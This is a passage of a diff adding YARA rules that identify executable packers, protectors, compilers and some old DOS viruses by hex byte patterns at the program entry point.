+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+		$1 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HACKSTOP_v113_
+{
+	meta:
+		description = "HACKSTOP v1.13"
+	strings:
+		$0 = {52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_Protector_V36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield Protector V3.6 -> www.exeshield.com"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+		$1 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v260c_
+{
+	meta:
+		description = "Armadillo v2.60c"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VBOX_43_MTE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VBOX 4.3 MTE] --> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+		$1 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0"
+	strings:
+		$0 = {6A 0C 68 88 BF 01 10 E8 B8 1C 00 00 33 C0 40 89 45 E4 8B 75 0C 33 FF 3B F7 75 0C 39 3D 6C 1E 12 10 0F 84 B3 00 00 00 89 7D FC 3B F0 74 05 83 FE 02 75 31 A1 98 36 12 10 3B C7 74 0C FF 75 10 56}
+		$1 = {6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 ?? 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? ?? 8B 46 ?? A3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE__yy66_
+{
+	meta:
+		description = "ÐÄÆæEXEºÏ²¢Æ÷ -> yy66"
+	strings:
+		$0 = {68 78 18 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30}
+	condition:
+		$0 at entrypoint
+}
+rule _DzA_Patcher_v13_Loader_
+{
+	meta:
+		description = "DzA Patcher v1.3 Loader"
+	strings:
+		$0 = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+		$1 = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+	condition:
+		$0 or $1
+}
+rule _Vx_Eddie2000_
+{
+	meta:
+		description = "Vx: Eddie.2000"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v102b_
+{
+	meta:
+		description = "ASPack v1.02b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+		$2 = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ExeTools_v21_Encruptor_by_DISMEMBER_
+{
+	meta:
+		description = "ExeTools v2.1 Encruptor by DISMEMBER"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+	condition:
+		$0 at entrypoint
+}
+rule _HideProtect_V10X_SoftWar_Company_
+{
+	meta:
+		description = "Hide&Protect V1.0X-> SoftWar Company"
+	strings:
+		$0 = {90 90 90 E9 D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Frusion__biff_
+{
+	meta:
+		description = "Frusion -> biff"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_50__60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+		$1 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CA_Visual_Objects_20__25_
+{
+	meta:
+		description = "CA Visual Objects 2.0 - 2.5"
+	strings:
+		$0 = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v100_v100d_
+{
+	meta:
+		description = "DIET v1.00, v1.00d"
+	strings:
+		$0 = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable)"
+	strings:
+		$0 = {03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _SecuPack_v15_
+{
+	meta:
+		description = "SecuPack v1.5"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_November_17768_
+{
+	meta:
+		description = "Vx: November 17.768"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _NeoLite_v20_
+{
+	meta:
+		description = "NeoLite v2.0"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4E 65 6F 4C 69 74 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v0399__Dwing_
+{
+	meta:
+		description = "Upack v0.399 -> Dwing"
+	strings:
+		$0 = {0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? 00 00 02 00 00 00 00 00 00 ?? 00 00 00 00 00 10 00 00 ?? 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? 00 14 00 00 00 00 ?? ?? 00 ?? ?? 00 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? 00 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? 00 ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PeCompact_2xx_Slim_Loader__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact 2.xx (Slim Loader) --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEArmor_046__China_Cracking_Group_
+{
+	meta:
+		description = "PE-Armor 0.46 -> China Cracking Group"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_104_Win32__Berczi_Gabor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 1.0.4 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? DB E3 D9 2D ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+	condition:
+		$0
+}
+rule _RECSmall_v102_
+{
+	meta:
+		description = "REC.Small v1.02"
+	strings:
+		$0 = {8C D8 1E E8 ?? ?? 83 ?? ?? 5D B9 ?? ?? 81 ?? ?? ?? 40 8E D8 2B DB B2 ?? ?? ?? FE C2 43 83}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ?? ?? 81}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v04x__v05x_
+{
+	meta:
+		description = "tElock v0.4x - v0.5x"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Hafen809_
+{
+	meta:
+		description = "Vx: Hafen.809"
+	strings:
+		$0 = {E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v07x__v084_
+{
+	meta:
+		description = "tElock v0.7x - v0.84"
+	strings:
+		$0 = {60 E8 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Packed_
+{
+	meta:
+		description = "EXE2COM (Packed)"
+	strings:
+		$0 = {BD ?? ?? 89 ?? ?? ?? 81 ?? ?? ?? ?? ?? 8C ?? ?? ?? 8C C8 05 ?? ?? 8E C0 BE ?? ?? 8B FE 0E 57 54 59 F3 A4 06 68 ?? ?? CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v30_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v3.0"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PENightMare_2_Beta__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PENightMare 2 Beta] --> Anorganix"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+		$1 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_v062_DLL_
+{
+	meta:
+		description = "UPX v0.62 [DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123__v2006412_
+{
+	meta:
+		description = "Pe123  v2006.4.12"
+	strings:
+		$0 = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEPACK_v405_v406_
+{
+	meta:
+		description = "EXEPACK v4.05, v4.06"
+	strings:
+		$0 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 06 ?? ?? 8E C0 8B 0E ?? ?? 8B F9 4F 8B F7 FD F3 A4}
+	condition:
+		$0 at entrypoint
+}
+rule _WinZip_32bit_SFX_v8x_module_
+{
+	meta:
+		description = "WinZip 32-bit SFX v8.x module"
+	strings:
+		$0 = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_02_
+{
+	meta:
+		description = "Unknown packer (02)"
+	strings:
+		$0 = {FA 8C DE 8C CF 8E DF 8E C7 83 C7 ?? BB}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_0001__Bubbasoft_h_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> Bubbasoft (h)"
+	strings:
+		$0 = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00}
+	condition:
+		$0
+}
+rule _EXE2COM_With_CRC_check_
+{
+	meta:
+		description = "EXE2COM (With CRC check)"
+	strings:
+		$0 = {B3 ?? B9 ?? ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 43 49 32 E4 03 D0 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_07x__08__PolyTech_
+{
+	meta:
+		description = "VMProtect 0.7x - 0.8 -> PolyTech"
+	strings:
+		$0 = {5B 20 56 4D 50 72 6F 74 65 63 74 20 76 20 30 2E 38 20 28 43 29 20 50 6F 6C 79 54 65 63 68 20 5D}
+	condition:
+		$0
+}
+rule _CICompress_v10_
+{
+	meta:
+		description = "CICompress v1.0"
+	strings:
+		$0 = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+		$1 = {6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ExeShield_36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield 3.6 -> www.exeshield.com"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC E9 FB C8 4F 1B 22 7C B4 C8 0D BD 71 A9 C8 1F 5F B1 29 8F 11 73 8F 00 D1 88 87 A9 3F 4D 00 6C 3C BF C0 80 F7 AD 35 23 EB 84 82 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Spin_v04x_
+{
+	meta:
+		description = "PE Spin v0.4x"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B}
+	condition:
+		$0
+}
+rule _Thinstall_v2460__Jitit_
+{
+	meta:
+		description = "Thinstall v2.460 -> Jitit"
+	strings:
+		$0 = {55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 F4 18 40 00 50 E8 87 FC FF FF 59 59 A1 94 1A 40 00 8B 40 10 03 05 90 1A 40 00 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 76 0C 00 00 D4 0C 00 00 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_TravJack883_
+{
+	meta:
+		description = "Vx: TravJack.883"
+	strings:
+		$0 = {EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v20_
+{
+	meta:
+		description = "FSG v2.0"
+	strings:
+		$0 = {87 25 ?? ?? ?? ?? 61 94 55 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75}
+	condition:
+		$0
+}
+rule _Vx_Gotcha879_
+{
+	meta:
+		description = "Vx: Gotcha.879"
+	strings:
+		$0 = {E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v29_
+{
+	meta:
+		description = "Exe Shield v2.9"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LSI_C86_RunTime_Libray_
+{
+	meta:
+		description = "LSI C-86 Run-Time Libray"
+	strings:
+		$0 = {B8 ?? ?? 8E C0 06 17 BC ?? ?? 26 8C ?? ?? ?? B4 30 CD 21 26 A3 ?? ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_v32x_Dll_main_
+{
+	meta:
+		description = "MinGW v3.2.x (Dll_main)"
+	strings:
+		$0 = {55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_FaxFreeTopo_
+{
+	meta:
+		description = "Vx: FaxFree.Topo"
+	strings:
+		$0 = {FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _from_NORMAN_AntiVirus_Utilites_
+{
+	meta:
+		description = "from NORMAN Anti-Virus Utilites"
+	strings:
+		$0 = {E8 ?? ?? 5B 52 45 2F 4E 44 44 53 5D 0D 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _DSHIELD_
+{
+	meta:
+		description = "DSHIELD"
+	strings:
+		$0 = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v036_alpha__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.36 alpha -> Sign by hot_UNP"
+	strings:
+		$0 = {AB E2 E5 5D 59 8B 76 68 51 59 46 AD 85 C0}
+	condition:
+		$0
+}
+rule _Trivial173_by_SMTSMF_
+{
+	meta:
+		description = "Trivial173 by SMT/SMF"
+	strings:
+		$0 = {EB ?? ?? 28 54 72 69 76 69 61 6C 31 37 33 20 62 79 20 53 4D 54 2F 53 4D 46 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Lockless_Intro_Pack_
+{
+	meta:
+		description = "Lockless Intro Pack"
+	strings:
+		$0 = {2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10803_
+{
+	meta:
+		description = "ASPack v1.08.03"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+		$2 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D B1 50 44 00 83 BD AC 50 44 00 00 89 9D BB 4E}
+		$3 = {60 E8 00 00 00 00 5D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD}
+		$4 = {60 E8 00 00 00 00 5D 81 ED 0A 4A 44 00 BB 04 4A 44 00 03 DD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _SLVc0deProtector_11x__SLV__ICU_
+{
+	meta:
+		description = "SLVc0deProtector 1.1x -> SLV / ICU"
+	strings:
+		$0 = {E8 00 00 00 00 58 C6 00 EB C6 40 01 08 FF E0 E9 4C ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Microsoft_Visual_Basic_50__60__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0] --> Anorganix"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+		$1 = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NoodleCrypt_v20_
+{
+	meta:
+		description = "NoodleCrypt v2.0"
+	strings:
+		$0 = {EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01}
+		$1 = {EB 01 9A E8 ?? 00 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01 9A E8 ?? ?? 00 00 EB 01}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Armadillo_v250b3_
+{
+	meta:
+		description = "Armadillo v2.50b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B8 ?? ?? ?? 68 F8 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 20 ?? ?? ?? 33 D2 8A D4 89 15 D0}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v102_
+{
+	meta:
+		description = "PE Crypt v1.02"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _Gleam_100_
+{
+	meta:
+		description = "Gleam 1.00"
+	strings:
+		$0 = {83 EC 0C 53 56 57 E8 24 02 00}
+	condition:
+		$0
+}
+rule _PEPROTECT_09_
+{
+	meta:
+		description = "PE-PROTECT 0.9"
+	strings:
+		$0 = {E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ASProtect__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ASProtect] --> Anorganix"
+	strings:
+		$0 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+		$1 = {60 90 90 90 90 90 90 5D 90 90 90 90 90 90 90 90 90 90 90 03 DD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PowerBASICWin_70x_
+{
+	meta:
+		description = "PowerBASIC/Win 7.0x"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? 40 00 66 2E F7 05 ?? ?? 40 00 04 00 0F 85 DB 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_104_Win32_DLL__Berczi_Gabor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 1.0.4 Win32 DLL -> (Berczi Gabor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? ?? 00 55 89 E5 53 56 57 8B 7D 08 89 3D ?? ?? ?? ?? 8B 7D 0C 89 3D ?? ?? ?? ?? 8B 7D 10 89 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 5D C2 0C 00}
+	condition:
+		$0
+}
+rule _FASM_v13x_
+{
+	meta:
+		description = "FASM v1.3x"
+	strings:
+		$0 = {6A ?? FF 15 ?? ?? ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v220_
+{
+	meta:
+		description = "Armadillo v2.20"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_012_betaDwing_
+{
+	meta:
+		description = "Upack 0.12 beta-->Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v70_64_Bit_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.0 (64 Bit)"
